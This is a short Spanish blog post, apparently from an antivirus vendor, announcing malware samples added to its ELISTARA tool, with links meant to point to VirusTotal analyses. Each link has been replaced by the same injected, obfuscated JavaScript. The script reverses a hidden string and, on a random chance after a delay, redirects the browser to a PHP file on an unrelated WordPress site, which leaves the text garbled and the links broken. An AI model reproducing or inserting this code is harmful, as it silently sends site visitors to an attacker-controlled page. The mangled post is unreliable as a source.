Extracto de los analisis de muestras de malware que añadimos al control del ELISTARA actual

Extracto de los analisis de muestras de malware que añadimos al control del ELISTARA actual

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/162b92b8172d67fefcbf9e838f0d353bfb8fcb74cbff5e7eb1d7e29d53dce83a/analysis/1526291384/” target=”_blank” rel=”noopener”>CUTWAIL.BE

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/23b44fa0b535e1dcdcf30e75f622b11b7aa3cae274cf74716d4643de3abe5227/analysis/1526291547/” target=”_blank” rel=”noopener”>MALWARE SKYPE.B

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/0cb87aad4697aa5d7fcf051785edca1dbf881343845b9b12e56063484dd5fc11/analysis/1526291724/” target=”_blank” rel=”noopener”>RISKTOOL BITCOINMINER.KB

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/0e368ad5acde4585703eda36065bd0fc0ddca269c8024b71ed63ad2a5123ce0f/analysis/1526291839/” target=”_blank” rel=”noopener”>KEYLOGGER REMCOS

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/d32b6076653b0577c17422d0e35de2156a6f838d4c644f7a2f9e2532136631e5/analysis/1526291944/” target=”_blank” rel=”noopener”>NEW MALWARE SKYPE.B

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/acc9ce855e98f30c6e9b260fa17be9955255d7e4f2b1d22c0b53f579b02aac04/analysis/1526241774/” target=”_blank” rel=”noopener”>NEW RISKTOOL BITCOINMINER

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/609cc34749da7ce6e8dbb3de9b7d0be03eca4cea63a4f3b1c383a3d483d0ecd6/analysis/1526292366/” target=”_blank” rel=”noopener”>NEW TROJAN TOTBRICK

Con ello puede verse como los controlan los demás antivirus del VirusTotal y demás caracteristicas segun los informes de dicho analizador (En Detalles/Información adicional)

saludos

ms, 14-5-2018